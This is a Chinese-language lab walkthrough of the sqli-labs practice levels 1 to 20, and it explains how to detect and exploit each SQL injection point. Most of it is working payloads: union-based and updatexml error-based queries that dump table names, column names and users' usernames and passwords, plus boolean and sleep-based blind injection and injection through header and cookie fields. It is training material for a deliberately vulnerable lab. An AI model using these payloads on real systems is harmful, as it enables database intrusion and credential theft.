目录
Less-1
Less-2
Less-3
Less-4
Less-5
Less-6
Less-7
Less-8
Less-9
Less-10
Less-11
Less-12
Less-13
Less-14
Less-15
Less-16
Less-17
Less-18
Less-19
Less-20
Less-1
1、判断是否存在SQL注入
并且闭合成功
2、判断字段数
说明只存在三个字段
3、查看回显点
payload:?id=1.1' union select 1,2,3-- p
使用1.1的原因是:因为联合查询默认会输入前面的数据,我们想得到回显点的话,需要将联合查询前面的不存在,所以可以使用1.1。
4、查看当前的数据库库名
database():当前数据库的库名
5、爆数据表
payload:?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database()-- p
payload:?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1-- p
payload:?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1-- p
payload:?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 3,1-- p
6、我们在这里以users表为例,进行爆字段
payload:?id=1.1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1-- p
payload:?id=1.1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1-- p
payload:?id=1.1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1-- p
7、爆数据
payload:?id=1.1' union select 1,2,concat(id,username,password) from users limit 0,1 -- p
payload:?id=1.1' union select 1,2,concat(id,username,password) from users limit 1,1 -- p
8、补充知识点
limit作用:获取一表前几条或中间某几行数据。
例如:limit 0,1是获取第一条数据,前面的0表示从第一条开始(第一条数据编号为0),后面的1表示获取1条数据
前面的payload也可以进行更改,可以使用group_concat(),其作用是获取多条数据,但是不建议使用,因为会有长度的限制,有时候会忽略后面的数据,对获取数据库中的数据不利。
靶场和比赛当中要进行拖库的情况会比较多,但是实际上进行拖库的情况会很少,所以拖库请谨慎。
Less-2
1、判断是否存在SQL注入
说明是数字型的SQL注入
2、然后其他的都与第一题相同,在此就不做演示了
Less-3
1、判断注入点
发现无法闭合
在这里加上一个)
,发现闭合成功
2、其他步骤与第一关相同,在此不做演示
Less-4
1、判断是否存在SQL注入
基于')
的字符型SQL注入
2、其他的步骤与第一问相同
Less-5
1、判断是否存在SQL注入,这一题与之前的题目有所不同
应该是基于单引号的报错注入
2、判断字段数
payload:?id=1.1' or 1=1 order by 3 -- p
说明存在三个字段
3、因为这里没有回显点,所以我们在这里要使用两个函数
updatexml():具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式显示出来。
substr():分割字符串。
(1)我们先查看数据库库名
payload:?id=1.1' or 1=1 union select updatexml('a',concat('~',database()),'b') -- p
(2)查看数据库security
中的数据表
payload:select updatexml('a',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'b')
还有几个数据表就不在此演示了,可以参考第一题
(3)爆字段
payload:?id=1.1' or 1=1 union select updatexml('a',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1)),'b') -- p
还有几个字段在此就不在演示了,与前面的一样
(4)爆数据
这里出了一些问题,原理就是子查询。
Less-6
1、通过判断发现是基于"
的报错注入
2、使用1″ union select updatexml(‘a’,concat(‘~’,database()),’b’) — p
获取当前数据库的库名
3、使用1″ union select updatexml(‘a’,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),’b’) — p
进行爆表
数据库的第一个表
数据库的第二个表
数据库的第三个表
数据库的第四个表。
4、进行爆列名,在此以users
表为例,使用1" union select updatexml('a',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),'b') -- p
第一个字段
第二个字段
第三个字段
5、进行爆数据,使用1" union select updatexml('a',concat('~',(select concat(id,username,password) from users limit 0,1)),'b') -- p
第六关其实是跟第五关相似。
Less-7
1、这里通过测试发现可能存在基于'))
的字符型报错注入
2、其他的跟第六关相同,在此就不做演示了
Less-8
1、通过测试发现可能是基于单引号的布尔盲注
2、使用1′ and (length(database())>7) — p
得到数据库的长度为8
3、使用and ascii(substr(database(),1,1))>97
得到数据库的库名,因为这里一个一个测试的话会比较麻烦,所以我们可以使用burp的爆破模块进行爆破
(1)使用burp进行抓包,然后我们发送到爆破模块
(2)选择爆破点
(3)选择数字爆破
(4)然后我们点击start开始爆破,注意:这里在后面将大于号修改为等于号了
在这里就是找不同,所以在这里就是115,转换为字母就是s
爆破第二个的话就是使用and ascii(substr(database(),2,1))>97
,以此类推,在此就不做演示了。也可以使用burp进行多爆破点爆破,在此不演示,感兴趣的小伙伴可以关注后来的文章,感谢!
4、后面的在此也不再演示,用的payload如下:
获取表的长度:and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5
获取表的表名:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
判断列的长度:and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>2
获取列的列名:and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>48
获取数据:ascii(substr((select concat(id,username,password) from users limit 0,1),1,1))>20
Less-9
1、通过测试发现是基于单引号的时间盲注,使用1' and sleep(5) -- p
2、使用and if(length(database())>11,1,sleep(5)) -- p
判断数据库的长度
所以长度为8。
3、使用1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101,1,sleep(5)) -- p
获取数据库的库名,在此不做演示。
4、需要使用的payload如下:
判断表的长度:and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,1,sleep(5)) -- p
获取数据表的表名:and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,1,sleep(5)) -- p
判断列的长度:and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>2,1,sleep(5)) -- p
获取列的列名:and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>48,1,sleep(5)) -- p
Less-10
1、通过测试发现是基于双引号的时间盲注
2、其他的与第九关相似,在此不再演示
Less-11
1、从界面可以看出来是一个post注入。通过测试发现是基于单引号的字符型显错注入
2、判断列数,使用admin' order by 2 -- p
所以字段数为2
3、再使用1' union select 1,2 -- p
判断注入点
4、再使用1' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 -- p
爆数据表
5、在此就不在演示了,其他的步骤与平常的显错注入相同,如果不明白的小伙伴可以查看SQL的前五关
Less-12
1、通过测试发现是基于")的字符型注入
2、其他的步骤在此不再演示,与上面的相同
Less-13
1、通过测试发现是基于')
的布尔盲注。
2、使用admin') and (length(database())>1) -- p
判断数据库的长度
使用数据库的长度为8。
3、其他的步骤在此也不再演示了,如果有不明白的小伙伴可以查看6-10关
Less-14
1、通过测试发现是基于双引号的布尔盲注
2、其他步骤与第十三关相同,在此不做演示。
Less-15
1、通过测试发现是基于单引号的时间盲注,可以使用admin' and sleep(5) -- p
进行判断
2、在此不做演示,不明白的小伙伴可以查看第九关
Less-16
一、通过题目提示发现是双引号的时间盲注,使用的是admin") and sleep(5) -- p
二、其他的步骤与第十五关相同,在此不再演示了
Less-17
一、测试之后发现是基于单引号的字符型报错注入,但是这里的注入点是在密码框内,使用的是1'
二、使用1' -- p
发现闭合成功
然后我们抓包进行报错注入处理
(1)爆当前数据库的表名,使用1' and updatexml('a',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'b') -- p
第二个表:
第三个表:
第四个表:
(2)然后爆表,以users
表为例:
第二个字段:
(3)通过1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) -- p
爆数据
Less-18
一、根据题目标题可知是UA头的head注入
二、然后对UA头进行单引号闭合,发现会报错
三、然后使用报错注入,语句为1' and 1=1#
,但是我们发现会报错,查看源码
如果使用的是1' and 1=1#
的话,就会变成INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('1' and 1=1#', '$IP', $uname)
,而前后数据量就会不一样了,所以会造成报错
一个简单的办法就是使用1' and '1=1
,插入语句就会变成INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('1' and '1=1', '$IP', $uname)
,1=1恒为真,所以无影响
四、使用1' and updatexml('a',concat('~',database()),'b') and '1=1
进行报错注入得到数据库的库名
获取表名:
1′ and updatexml(‘a’,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),’b’) and ‘1=1
获取列名:
1′ and updatexml(‘a’,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)),’b’) and ‘1=1
获取数据:
1′ and updatexml(‘a’,concat(‘~’,(select concat(username,password) from users limit 0,1)),’b’) and ‘1=1
Less-19
一、根据题目可知是Referer头的head注入
二、对Referer头进行注入,发现了注入点
三、其他的跟上面的一样,在此就不在赘述了
Less-20
一、根据题目标题,说是cookie的报错注入
二、先进行登录,然后才会产生cookie,然后使用单引号闭合发现会报错,这里的uname是抓包得到的
三、其他的步骤与上面的相同,在此也不再赘述了
以上是自建的靶场,请遵守网络安全法,未经允许不得进行网站渗透测试。
如果文章有何不妥之处,请您指出。
更多的sqli-labs靶场解题思路更新中,敬请期待……